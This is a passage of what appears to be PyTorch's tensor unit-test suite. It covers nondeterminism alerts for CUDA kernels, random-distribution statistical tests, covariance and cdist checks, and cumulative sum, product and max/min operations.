@expectedAlertNondeterministic('nll_loss2d_forward_out_cuda_template', 'cuda') def forward_func(slf, device): module(input, target) forward_func(self, device) def test_nondeterministic_alert_CTCLoss(self, device): module = torch.nn.CTCLoss() input = torch.randn(50, 3, 15, device=device, requires_grad=True) target = torch.randint(0, 14, (3, 30), device=device) input_lengths = [50, 50, 50] target_lengths = [30, 25, 20] res = module(input, target, input_lengths, target_lengths) grad = torch.ones_like(res) @expectedAlertNondeterministic('ctc_loss_backward_gpu', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_EmbeddingBag_max(self, device): module = torch.nn.EmbeddingBag( 4, 3, None, 2., False, 'max', _weight=torch.randn(4, 3, device=device, requires_grad=True)) input = torch.randint(0, 3, (4, 3), device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('embedding_bag_backward_cuda_max', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_scatter_add(self, device): def test_func(op_call): input = torch.randn(5, 4, device=device) dim = 0 index = torch.tensor([[3]], device=device) src = torch.tensor([[1.0]], device=device) @expectedAlertNondeterministic('scatter_add_cuda_kernel', 'cuda') def forward_func(slf, device): op_call(input, dim, index, src) forward_func(self, device) test_func(torch.Tensor.scatter_add_) test_func(torch.Tensor.scatter_add) test_func(torch.scatter_add) @onlyOnCPUAndCUDA def test_nondeterministic_alert_put(self, device): def test_func(op_call): a = torch.randn(10, device=device) indices = torch.tensor([0, 0], device=device) values = torch.tensor([0., 1.], device=device) @expectedAlertNondeterministic('put_') def forward_func(slf, device): op_call(a, indices, values, accumulate=False) forward_func(self, device) test_func(torch.Tensor.put) test_func(torch.Tensor.put_) def test_nondeterministic_alert_put_accumulate(self, device): def test_func(op_call): a = torch.randn(10, device=device) indices = torch.tensor([0, 0], device=device) values = torch.tensor([0., 1.], device=device) @expectedAlertNondeterministic('put_', 'cuda') def forward_func(slf, device): op_call(a, indices, values, accumulate=True) forward_func(self, device) test_func(torch.Tensor.put) test_func(torch.Tensor.put_) def test_nondeterministic_alert_histc(self, device): def test_func(op_call): a = torch.tensor([], device=device) @expectedAlertNondeterministic('_histc_cuda', 'cuda') def forward_func(slf, device): res = op_call(a, min=0, max=3) forward_func(self, device) test_func(torch.histc) test_func(torch.Tensor.histc) def test_nondeterministic_alert_bincount(self, device): def test_func(op_call): a = torch.tensor([], device=device, dtype=torch.long) @expectedAlertNondeterministic('_bincount_cuda', 'cuda') def forward_func(slf, device): res = op_call(a) forward_func(self, device) test_func(torch.bincount) test_func(torch.Tensor.bincount) # Ensures that kthvalue throws nondeterministic alerts in the correct cases @dtypes(torch.double) def test_nondeterministic_alert_kthvalue(self, device, dtype): @expectedAlertNondeterministic('kthvalue CUDA', 'cuda') def test_func(slf, device, call_type): S = 10 k = 5 a = torch.randn(S, device=device) if call_type == 'function': torch.kthvalue(a, k) elif call_type == 'method': a.kthvalue(k) elif call_type == 'out': values = torch.empty_like(a) indices = torch.empty((), device=device, dtype=torch.long) torch.kthvalue(a, k, out=(values, indices)) else: self.fail(f"'{call_type}' is not a valid call type") test_func(self, device, 'function') test_func(self, device, 'method') test_func(self, device, 'out') @onlyOnCPUAndCUDA def test_nondeterministic_alert_gather(self, device): def test_func(op_call): a = torch.randn(3, 3, device=device, requires_grad=True) dim = 0 index = torch.tensor([[0]], device=device) res = op_call(a, dim, index) grad = torch.ones_like(res) @expectedAlertNondeterministic('scatter_add_cuda_kernel', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) test_func(torch.gather) test_func(torch.Tensor.gather) def test_nondeterministic_alert_grid_sample_2d(self, device): input = torch.empty(1, 1, 2, 2, device=device, requires_grad=True) grid = torch.empty(1, 1, 1, 2, device=device) res = torch.nn.functional.grid_sample(input, grid, align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('grid_sampler_2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_grid_sample_3d(self, device): input = torch.empty(1, 1, 2, 2, 2, device=device, requires_grad=True) grid = torch.empty(1, 1, 1, 2, 3, device=device) res = torch.nn.functional.grid_sample(input, grid, align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('grid_sampler_3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_embedding_scalar_weight_error(self, device): indices = torch.rand(2, 2, device=device).long() weights = [ torch.tensor(1.0, device=device), torch.tensor(1.0, device=device).reshape(1, 1, 1), ] for weight in weights: with self.assertRaisesRegex(RuntimeError, "'weight' must be 2-D"): torch.embedding(weight, indices) def test_dist(self, device): def run_test(x, y): for p in [0, 1, 2, 3, 4, inf, -inf]: dist_xy = torch.dist(x, y, p) dist_xy_norm = torch.norm(x - y, p) self.assertEqual(dist_xy, dist_xy_norm) run_test(torch.randn(5, device=device), torch.randn(5, device=device)) x = torch.zeros(3, device=device) y = torch.zeros(3, device=device) y[1] = 1. run_test(x, y) # Ensures that median throws nondeterministic alerts in the correct cases @dtypes(torch.double) def test_nondeterministic_alert_median(self, device, dtype): def test_func(slf, device, call_type): S = 10 a = torch.randn(S, device=device) if call_type == 'function': torch.median(a) elif call_type == 'function with indices': torch.median(a, 0) elif call_type == 'method': a.median() elif call_type == 'method with indices': a.median(0) elif call_type == 'out with indices': result = torch.empty_like(a) indices = torch.empty((), dtype=torch.long, device=device) torch.median(a, 0, out=(result, indices)) else: self.fail(f"'{call_type}' is not a valid call type") @expectedAlertNondeterministic('median CUDA with indices output', 'cuda') def test_func_expect_error(slf, device, call_type): test_func(slf, device, call_type) test_func(self, device, 'function') test_func_expect_error(self, device, 'function with indices') test_func(self, device, 'method') test_func_expect_error(self, device, 'method with indices') test_func_expect_error(self, device, 'out with indices') def _test_gather_backward_one_dim(self, device, deterministic: bool = False) -> None: with DeterministicGuard(deterministic): m = random.randint(2000, 3000) elems = random.randint(10 * m, 20 * m) dim = 0 src = torch.randn(m, device=device, requires_grad=True) idx = torch.randint(m, (elems,), device=device) res = torch.gather(src, dim, idx) weight = torch.rand_like(res, device=device) * 10 ** 6 res.backward(weight) grad = src.grad.detach().clone() if torch.device(device).type == 'cuda': for _ in range(2): src.grad.data.zero_() res = torch.gather(src, dim, idx) res.backward(weight) self.assertEqual(src.grad, grad, atol=0, rtol=0) else: expected = torch.zeros_like(src, device=device) for i in range(elems): expected[idx[i]] += weight[i] self.assertEqual(grad, expected, atol=0, rtol=0) @onlyOnCPUAndCUDA def test_gather_backward_deterministic_path(self, device) -> None: self._test_gather_backward_one_dim(device, True) @onlyCPU def test_gather_backward_one_dim(self, device) -> None: self._test_gather_backward_one_dim(device, False) @onlyOnCPUAndCUDA def test_scatter_add_one_dim_deterministic(self, device) -> None: with DeterministicGuard(True): m = random.randint(20, 30) elems = random.randint(2000 * m, 3000 * m) dim = 0 src = torch.randn(elems, device=device) idx = torch.randint(m, (elems,), device=device) x = torch.zeros(m, device=device) res = x.scatter_add(dim, idx, src) expected = torch.zeros(m, device=device) for i in range(elems): expected[idx[i]] += src[i] self.assertEqual(res, expected, atol=0, rtol=0) @onlyCUDA def test_sync_warning(self, device): def _sync_raises_helper(f, level): with CudaSyncGuard(level): if level == 1: with self.assertWarnsRegex(UserWarning, "called a synchronizing "): f() elif level == 2: with self.assertRaisesRegex(RuntimeError, "called a synchronizing "): f() def _no_sync_helper(f, level): with CudaSyncGuard(level): f() def _ind_put_fn(x, ind, val): x[ind] = val return x def _ind_get_fn(x, ind): return x[ind] def _cond_fn(x): if x: # taking boolean value of a tensor synchronizes return x else: return 2 * x # prepare inputs for subsequent ops size = 4 x = torch.rand(size, device=device) y = torch.rand((), device=device) ind = torch.randint(size, (3,), device=device) ind_cpu = ind.cpu() repeats = torch.full((1,), 2, device=device) mask = torch.randint(2, (size,), device=device, dtype=bool) expect_no_sync = (lambda: _ind_put_fn(x, mask, 1.), lambda: _ind_put_fn(x, ind, y), lambda: _ind_get_fn(x, ind), lambda: torch.nn.functional.one_hot(ind, num_classes=size), lambda: torch.randperm(20000, device=device), lambda: torch.repeat_interleave(x, 2, output_size=2 * size), lambda: torch.repeat_interleave(x, repeats, output_size=2 * size)) expect_sync = (lambda: _ind_put_fn(x, mask, y), lambda: _ind_put_fn(x, ind_cpu, y), lambda: _ind_get_fn(x, mask), lambda: _ind_get_fn(x, ind_cpu), lambda: x.nonzero(), lambda: _cond_fn(y), lambda: torch.nn.functional.one_hot(ind), lambda: torch.repeat_interleave(x, 2), lambda: torch.repeat_interleave(x, repeats)) for f, level in product(expect_no_sync, (1, 2)): _no_sync_helper(f, level) for f, level in product(expect_sync, (1, 2)): _sync_raises_helper(f, level) @dtypes(*get_all_fp_dtypes()) def test_log_normal(self, device, dtype): a = torch.tensor([10], dtype=dtype, device=device).log_normal_() self.assertEqual(a.dtype, dtype) self.assertEqual(a.size(), torch.Size([1])) @dtypes(*(get_all_int_dtypes() + get_all_fp_dtypes())) def test_geometric(self, device, dtype): a = torch.tensor([10], dtype=dtype, device=device).geometric_(0.5) self.assertEqual(a.dtype, dtype) self.assertEqual(a.size(), torch.Size([1])) def test_repeat_interleave(self, device): y = torch.tensor([[1, 2], [3, 4]], device=device) # exercise single argument function signature temp = y.repeat_interleave(2) self.assertEqual(torch.Size([8]), temp.size()) for dtype in [torch.int, torch.long]: lengths = torch.tensor([1, 2], dtype=dtype, device=device) output_size = torch.sum(lengths) a = torch.repeat_interleave( y, lengths, dim=0, ) self.assertEqual(a.dtype, y.dtype) self.assertEqual(a.size(), torch.Size([3, 2])) a_with_output = torch.repeat_interleave( y, lengths, dim=0, output_size=output_size, ) self.assertEqual(a_with_output.dtype, y.dtype) self.assertEqual(a_with_output.size(), torch.Size([3, 2])) @dtypes(*get_all_fp_dtypes(include_half=False, include_bfloat16=False)) @dtypesIfCPU(*(get_all_fp_dtypes(include_half=False, include_bfloat16=True))) @dtypesIfCUDA(*(get_all_fp_dtypes(include_bfloat16=False))) def test_bernoulli_p(self, device, dtype): for trivial_p in ([0, 1], [1, 0, 1, 1, 0, 1]): x = torch.tensor(trivial_p, dtype=dtype, device=device) self.assertEqual(x.bernoulli().tolist(), trivial_p) def isBinary(t): return torch.ne(t, 0).mul_(torch.ne(t, 1)).sum().item() == 0 p = torch.rand(5, 5, dtype=dtype, device=device) self.assertTrue(isBinary(p.bernoulli())) p = torch.rand(5, dtype=dtype, device=device).expand(5, 5) self.assertTrue(isBinary(p.bernoulli())) p = torch.rand(5, 5, dtype=dtype, device=device) torch.bernoulli(torch.rand_like(p), out=p) self.assertTrue(isBinary(p)) # RngUniform not implemented for Integral type in XLA test @dtypes(*(get_all_fp_dtypes(include_half=False, include_bfloat16=False))) @dtypesIfCPU(*(get_all_dtypes(include_half=False, include_bfloat16=False, include_complex=False))) @dtypesIfCUDA(*(get_all_dtypes(include_bfloat16=False, include_complex=False))) def test_bernoulli_self(self, device, dtype): def isBinary(t): return torch.ne(t, 0).mul_(torch.ne(t, 1)).sum().item() == 0 t = torch.empty(10, 10, dtype=dtype, device=device) t.fill_(2) t.bernoulli_(0.5) self.assertTrue(isBinary(t)) for p_dtype in get_all_fp_dtypes(include_half=device.startswith('cuda'), include_bfloat16=False): p = torch.rand(10, dtype=p_dtype, device=device).expand(10, 10) t.fill_(2) t.bernoulli_(p) self.assertTrue(isBinary(t)) t.fill_(2) torch.bernoulli(torch.rand_like(t, dtype=p_dtype), out=t) self.assertTrue(isBinary(t)) t.fill_(2) t.bernoulli_(torch.rand_like(t, dtype=p_dtype)) self.assertTrue(isBinary(t)) @slowTest @dtypes(*(get_all_fp_dtypes(include_half=False, include_bfloat16=False))) @dtypesIfCUDA(*(get_all_fp_dtypes(include_bfloat16=False))) def test_bernoulli_edge_cases(self, device, dtype): # Need to draw a lot of samples to cover every random floating point number. a = torch.zeros(10000, 10000, dtype=dtype, device=device) # probability of drawing "1" is 0 num_ones = (torch.bernoulli(a) == 1).sum() self.assertEqual(num_ones, 0) b = torch.ones(10000, 10000, dtype=dtype, device=device) # probability of drawing "1" is 1 num_zeros = (torch.bernoulli(b) == 0).sum() self.assertEqual(num_zeros, 0) @dtypes(*get_all_fp_dtypes()) def test_exponential(self, device, dtype): a = torch.tensor([10], dtype=dtype, device=device).exponential_(0.5) self.assertEqual(a.dtype, dtype) self.assertEqual(a.size(), torch.Size([1])) # Tests extremal behavior tests = ((-0, float('inf')), (0, float('inf')), (float('inf'), 0)) for test in tests: t = torch.empty((1,), device=device, dtype=dtype).exponential_(test[0]) self.assertTrue(t.item() == test[1]) # Tests that negative lambda fails with self.assertRaises(RuntimeError): torch.empty((1,), device=device, dtype=dtype).exponential_(-0.5) @onlyCUDA @dtypesIfCUDA(torch.half, torch.float) def test_exponential_no_zero(self, device, dtype): # naively, 0 in exponential can be generated with probability 2^-24 # so we need more samples to check if it's not generated # instead of doing one # don't test CPU, that would be a long test x = torch.empty(50000000, device=device, dtype=dtype).exponential_() self.assertTrue(x.min() > 0) def _generate_correlation_tensors(self, device, dtype): yield make_tensor((0, 0), device, dtype) yield make_tensor((1, 0), device, dtype) yield make_tensor((0, 1), device, dtype) yield make_tensor((2,), device, dtype) yield make_tensor((2, 1), device, dtype) yield make_tensor((2, 2), device, dtype) yield make_tensor((2, 3), device, dtype) yield make_tensor((5, 10), device, dtype) yield make_tensor((5, 10), device, dtype, noncontiguous=True) if dtype != torch.int: yield torch.tensor([0, -2, nan, 10.2, inf], dtype=dtype, device=device) @onlyOnCPUAndCUDA @dtypes(torch.int, torch.float, torch.cfloat) def test_corrcoef(self, device, dtype): for x in self._generate_correlation_tensors(device, dtype): res = torch.corrcoef(x) ref = np.corrcoef(x.cpu().numpy()) self.assertEqual(res, ref, exact_dtype=False) @dtypes(torch.int, torch.float, torch.cfloat) def test_cov(self, device, dtype): def check(t, correction=1, fweights=None, aweights=None): res = torch.cov(t, correction=correction, fweights=fweights, aweights=aweights) t = t.cpu().numpy() fweights = fweights.cpu().numpy() if fweights is not None else None aweights = aweights.cpu().numpy() if aweights is not None else None ref = np.cov(t, ddof=correction, fweights=fweights, aweights=aweights) self.assertEqual(res, ref, atol=1e-05, rtol=1e-05, exact_dtype=False) for x in self._generate_correlation_tensors(device, dtype): check(x) num_observations = x.numel() if x.ndim < 2 else x.size(1) if num_observations > 0: fweights = torch.randint(1, 10, (num_observations,), device=device) aweights = make_tensor((num_observations,), device, torch.float, low=1) for correction, fw, aw in product([0, 1, 2], [None, fweights], [None, aweights]): check(x, correction, fweights, aweights) def test_cov_error(self, device): def check(msg, *args, **kwargs): with self.assertRaisesRegex(RuntimeError, r'cov\(\):.*' + msg + r'.*'): torch.cov(*args, **kwargs) a = torch.rand(2) check(r'expected input to have two or fewer dimensions', torch.rand(2, 2, 2)) check(r'expected fweights to have one or fewer dimensions', a, fweights=torch.rand(2, 2)) check(r'expected aweights to have one or fewer dimensions', a, aweights=torch.rand(2, 2)) check(r'expected fweights to have integral dtype', a, fweights=torch.rand(2)) check(r'expected aweights to have floating point dtype', a, aweights=torch.tensor([1, 1])) check(r'expected fweights to have the same numel', a, fweights=torch.tensor([1])) check(r'expected aweights to have the same numel', a, aweights=torch.rand(1)) check(r'fweights cannot be negative', a, fweights=torch.tensor([-1, -2])) check(r'aweights cannot be negative', a, aweights=torch.tensor([-1., -2.])) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes()) def test_uniform_kstest(self, device, dtype): from scipy import stats size = 1000 for from_ in [-42, 0, 4.2]: for to_ in [-4.2, 0, 42]: if to_ > from_: t = torch.empty(size, dtype=dtype, device=device).uniform_(from_, to_) res = stats.kstest(t.cpu().to(torch.double), 'uniform', args=(from_, (to_ - from_))) self.assertTrue(res.statistic < 0.1) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes(include_bfloat16=False)) @dtypesIfCUDA(*get_all_fp_dtypes()) def test_normal_kstest(self, device, dtype): from scipy import stats size = 1000 for mean in [-10, 0, 50]: for std in [1, 5, 10]: t = torch.empty(size, dtype=dtype, device=device).normal_(mean=mean, std=std) res = stats.kstest(t.cpu().to(torch.double), 'norm', args=(mean, std)) self.assertTrue(res.statistic < 0.1) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes()) def test_lognormal_kstest(self, device, dtype): from scipy import stats size = 1000 for mean in [-3, 0, 7]: for std in [1, 5, 7]: t = torch.empty(size, dtype=dtype, device=device).log_normal_(mean=mean, std=std) res = stats.kstest(t.cpu().to(torch.double), 'lognorm', args=(std, 0, math.exp(mean))) if dtype == torch.half: self.assertTrue(res.statistic < 0.3) else: self.assertTrue(res.statistic < 0.1) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes()) def test_exponential_kstest(self, device, dtype): from scipy import stats size = 1000 for lambd in [0.5, 1.0, 5.0]: t = torch.empty(size, dtype=dtype, device=device).exponential_(lambd=lambd) res = stats.kstest(t.cpu().to(torch.double), 'expon', args=(0, 1 / lambd,)) self.assertTrue(res.statistic < 0.1) @skipIfNoSciPy @dtypes(*get_all_fp_dtypes()) def test_cauchy_kstest(self, device, dtype): from scipy import stats size = 1000 for median in [-10, 0, 50]: for sigma in [0.5, 1.0, 10.0]: t = torch.empty(size, dtype=dtype, device=device).cauchy_(median=median, sigma=sigma) res = stats.kstest(t.cpu().to(torch.double), 'cauchy', args=(median, sigma)) self.assertTrue(res.statistic < 0.1) @slowTest @onlyCUDA @dtypes(torch.bfloat16, torch.float32) def test_cauchy_no_inf(self, device, dtype): # torch.float16 will have `inf` because of its smaller range. for _ in range((2**16) * 2): x = torch.empty((2**16), dtype=dtype, device=device) x.cauchy_() self.assertFalse(x.isinf().sum()) @skipIfNoSciPy @dtypes(*(get_all_int_dtypes() + get_all_fp_dtypes())) def test_geometric_kstest(self, device, dtype): from scipy import stats size = 1000 for p in [0.2, 0.5, 0.8]: t = torch.empty(size, dtype=dtype, device=device).geometric_(p=p) actual = np.histogram(t.cpu().to(torch.double), np.arange(1, 100))[0] expected = stats.geom(p).pmf(np.arange(1, 99)) * size res = stats.chisquare(actual, expected) self.assertEqual(res.pvalue, 1.0, atol=0.1, rtol=0) def test_pairwise_distance_empty(self, device): shape = (2, 0) x = torch.randn(shape, device=device) y = torch.randn(shape, device=device) self.assertEqual(torch.zeros(2, device=device), torch.pairwise_distance(x, y)) self.assertEqual(torch.zeros((2, 1), device=device), torch.pairwise_distance(x, y, keepdim=True)) shape = (0, 2) x = torch.randn(shape, device=device) y = torch.randn(shape, device=device) self.assertEqual(torch.zeros(0, device=device), torch.pairwise_distance(x, y)) self.assertEqual(torch.zeros((0, 1), device=device), torch.pairwise_distance(x, y, keepdim=True)) def test_pdist_empty(self, device): shape = (0, 2) x = torch.randn(shape, device=device) self.assertEqual(torch.empty(0, device=device), torch.pdist(x)) shape = (1, 2) x = torch.randn(shape, device=device) self.assertEqual(torch.empty(0, device=device), torch.pdist(x)) shape = (3, 0) x = torch.randn(shape, device=device) self.assertEqual(torch.zeros(3, device=device), torch.pdist(x)) def test_cdist_empty(self, device): x = torch.randn((0, 5), device=device) y = torch.randn((4, 5), device=device) self.assertEqual(torch.empty(0, 4, device=device), torch.cdist(x, y)) x = torch.randn((2, 5), device=device) y = torch.randn((0, 5), device=device) self.assertEqual(torch.empty(2, 0, device=device), torch.cdist(x, y)) x = torch.randn((2, 0), device=device) y = torch.randn((3, 0), device=device) self.assertEqual(torch.zeros(2, 3, device=device), torch.cdist(x, y)) x = torch.randn((2, 0), device=device) y = torch.randn((0, 0), device=device) self.assertEqual(torch.empty(2, 0, device=device), torch.cdist(x, y)) def _brute_cdist(self, x, y, p=2): r1 = x.shape[-2] r2 = y.shape[-2] if r1 == 0 or r2 == 0: return torch.empty(r1, r2, device=x.device) return torch.norm(x[..., None, :] - y[..., None, :, :], p=p, dim=-1) def test_cdist_norm(self, device): for r1 in [3, 4, 5, 6]: for m in [2, 3, 4, 10]: for r2 in [4, 6, 7, 8]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: x = torch.randn(r1, m, device=device) y = torch.randn(r2, m, device=device) if p == 2: for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertEqual(expected, actual, rtol=0, atol=0.02) else: actual = torch.cdist(x, y, p=p) expected = self._brute_cdist(x, y, p=p) self.assertEqual(expected, actual) def test_cdist_norm_batch(self, device): for r1 in [3, 4, 5, 6]: for m in [2, 3, 4, 10]: for r2 in [4, 6, 7, 8]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: x = torch.randn(2, 3, 6, r1, m, device=device) y = torch.randn(2, 3, 6, r2, m, device=device) if p == 2: for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertEqual(expected, actual, rtol=0, atol=0.02) else: actual = torch.cdist(x, y, p=p) expected = self._brute_cdist(x, y, p=p) self.assertEqual(expected, actual) @onlyCUDA def test_cdist_cuda_backward(self, device): for l1 in [1, 511, 513]: for l2 in [1, 511, 513]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: x1 = torch.randn(4, l1, 32, device=device, requires_grad=True) x2 = x1.clone().detach_().requires_grad_() y1 = torch.randn(4, l2, 32, device=device, requires_grad=True) y2 = y1.clone().detach_().requires_grad_() if p == 2: for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: z1 = torch.cdist(x1, y1, p=2, compute_mode=cm).mean() z2 = self._brute_cdist(x2, y2, p=2).mean() z1.backward() z2.backward() self.assertEqual(x1.grad, x2.grad, rtol=0, atol=0.001) self.assertEqual(y1.grad, y2.grad, rtol=0, atol=0.001) else: z1 = torch.cdist(x1, y1, p=p).mean() z2 = self._brute_cdist(x2, y2, p=p).mean() self.assertEqual(x1.grad, x2.grad, rtol=0, atol=0.001) self.assertEqual(y1.grad, y2.grad, rtol=0, atol=0.001) @tf32_on_and_off(0.005) def test_cdist_large(self, device): for cm in ['use_mm_for_euclid_dist_if_necessary', 'use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: x = torch.randn(1000, 10, device=device) y = torch.randn(1000, 10, device=device) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertEqual(expected, actual) @slowTest @tf32_on_and_off(0.01) def test_cdist_large_batch(self, device): for cm in ['use_mm_for_euclid_dist_if_necessary', 'use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: x = torch.randn(4, 3, 1000, 10, device=device) y = torch.randn(4, 3, 1000, 10, device=device) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertEqual(expected, actual) @tf32_on_and_off(0.005) def test_cdist_non_contiguous(self, device): for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: x = torch.randn(5, 7, device=device).transpose(-1, -2) y = torch.randn(5, 3, device=device).transpose(-1, -2) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertFalse(x.is_contiguous()) self.assertFalse(y.is_contiguous()) self.assertEqual(expected, actual) x = torch.randn(7, 5, device=device) y = torch.randn(5, 3, device=device).t() actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertTrue(x.is_contiguous()) self.assertFalse(y.is_contiguous()) self.assertEqual(expected, actual) x = torch.randn(5, 7, device=device).t() y = torch.randn(3, 5, device=device) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertFalse(x.is_contiguous()) self.assertTrue(y.is_contiguous()) self.assertEqual(expected, actual) @tf32_on_and_off() def test_cdist_non_contiguous_batch(self, device): for cm in ['use_mm_for_euclid_dist', 'donot_use_mm_for_euclid_dist']: x = torch.randn(4, 3, 2, 5, 7, device=device).transpose(-1, -2) y = torch.randn(4, 3, 2, 5, 3, device=device).transpose(-1, -2) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertFalse(x.is_contiguous()) self.assertFalse(y.is_contiguous()) self.assertEqual(expected, actual) x = torch.randn(7, 2, 7, 5, device=device) y = torch.randn(7, 2, 5, 3, device=device).transpose(-1, -2) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertTrue(x.is_contiguous()) self.assertFalse(y.is_contiguous()) self.assertEqual(expected, actual) x = torch.randn(4, 5, 7, device=device).transpose(-1, -2) y = torch.randn(4, 3, 5, device=device) actual = torch.cdist(x, y, p=2, compute_mode=cm) expected = self._brute_cdist(x, y, p=2) self.assertFalse(x.is_contiguous()) self.assertTrue(y.is_contiguous()) self.assertEqual(expected, actual) def test_multinomial_constraints(self, device): x = torch.empty(1, 2, 3, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "prob_dist must be 1 or 2 dim", lambda: torch.multinomial(x, 2)) x = torch.empty(1, 2, dtype=torch.long, device=device) self.assertRaisesRegex( RuntimeError, "multinomial only supports floating-point dtypes for input", lambda: torch.multinomial(x, 2)) x = torch.empty(1, 2, dtype=torch.double, device=device) y = torch.empty(1, 2, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "multinomial expects Long tensor out", lambda: torch.multinomial(x, 2, out=y)) x = torch.empty(2, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "cannot sample n_sample <= 0 samples", lambda: torch.multinomial(x, 0)) x = torch.empty(2, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "cannot sample n_sample <= 0 samples", lambda: torch.multinomial(x, -1)) x = torch.empty(2, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "cannot sample n_sample > prob_dist", lambda: torch.multinomial(x, 3, False)) x = torch.empty(16777217, dtype=torch.double, device=device) self.assertRaisesRegex( RuntimeError, "number of categories cannot exceed", lambda: torch.multinomial(x, 3)) def test_cumsum(self, device): x = torch.rand(100, 100, device=device) res1 = torch.cumsum(x, 1) res2 = torch.tensor([]).to(device) torch.cumsum(x, 1, out=res2) self.assertEqual(res1, res2) x.cumsum_(1) self.assertEqual(res1, x) a = torch.tensor([[True, False, True], [False, False, False], [True, True, True]], device=device) b = a.byte() aRes = torch.cumsum(a, 0) bRes = torch.cumsum(b, 0) self.assertEqual(aRes, bRes) self.assertEqual(aRes, torch.tensor([[1, 0, 1], [1, 0, 1], [2, 1, 2]])) aRes = torch.cumsum(a, 1) bRes = torch.cumsum(b, 1) self.assertEqual(aRes, bRes) self.assertEqual(aRes, torch.tensor([[1, 1, 2], [0, 0, 0], [1, 2, 3]])) # Check that cummulative sum over a zero length dimension doesn't crash on backprop. # Also check that cumsum over other dimensions in a tensor with a zero-length # dimensiuon also works # Also include a basic suite of similar tests for other bases cases. shapes = [[2, 0], [2, 1, 4], [0, 2, 3], [1], [5]] for shape in shapes: for dim in range(len(shape)): raw_tensor = torch.zeros(*shape, requires_grad=True) integrated = raw_tensor.cumsum(dim=dim) # Check that backward does not crash integrated.sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) # Check a scalar example raw_tensor = torch.tensor(3., requires_grad=True) integrated = raw_tensor.cumsum(dim=-1) self.assertEqual(raw_tensor, integrated) # Check that backward does not crash integrated.sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) def test_cumprod(self, device): x = torch.rand(100, 100, device=device) res1 = torch.cumprod(x, 1) res2 = torch.tensor([]).to(device) torch.cumprod(x, 1, out=res2) self.assertEqual(res1, res2) x.cumprod_(1) self.assertEqual(res1, x) a = torch.tensor([[True, False, True], [False, False, False], [True, True, True]], dtype=torch.bool, device=device) b = a.byte() aRes = torch.cumprod(a, 0) bRes = torch.cumprod(b, 0) self.assertEqual(aRes, bRes) self.assertEqual(aRes, torch.tensor([[1, 0, 1], [0, 0, 0], [0, 0, 0]])) aRes = torch.cumprod(a, 1) bRes = torch.cumprod(b, 1) self.assertEqual(aRes, bRes) self.assertEqual(aRes, torch.tensor([[1, 0, 0], [0, 0, 0], [1, 1, 1]])) # Check that cummulative prod over a zero length dimension doesn't crash on backprop. # Also check that cumprod over other dimensions in a tensor with a zero-length # dimensiuon also works # Also include a basic suite of similar tests for other bases cases. shapes = [[2, 0], [2, 1, 4], [0, 2, 3], [1], [5]] for shape in shapes: for dim in range(len(shape)): raw_tensor = torch.zeros(*shape, requires_grad=True) integrated = raw_tensor.cumprod(dim=dim) # Check that backward does not crash integrated.sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) # Check a scalar example raw_tensor = torch.tensor(3., requires_grad=True) integrated = raw_tensor.cumprod(dim=-1) self.assertEqual(raw_tensor, integrated) # Check that backward does not crash integrated.sum().backward() # Check that output maintained correct shape self.assertEqual(raw_tensor.shape, raw_tensor.grad.shape) def test_cummax_cummin(self, device): def test_ops(op, string_of_function_name, expected_output1, expected_output2): x = torch.rand(100, 100, device=device) out1 = op(x, 1) res2 = torch.empty(0, device=device) indices2 = torch.empty(0, dtype=torch.int64, device=device) op(x, 1, out=(res2, indices2)) self.assertEqual(out1[0], res2) self.assertEqual(out1[1], indices2) a = torch.tensor([[True, False, True], [False, False, False], [True, True, True]], dtype=torch.bool, device=device) b = a.byte() aRes = op(a, 0) bRes = op(b, 0) self.assertEqual(aRes[0], bRes[0].bool()) self.assertEqual(aRes[0], expected_output1.bool()) # test inf and nan input x = torch.tensor([4, inf, 1.5, -inf, 0, nan, 1]) xRes = op(x, 0)[0] self.assertEqual(xRes, expected_output2) # op shouldn't support values, indices with a dtype, device type 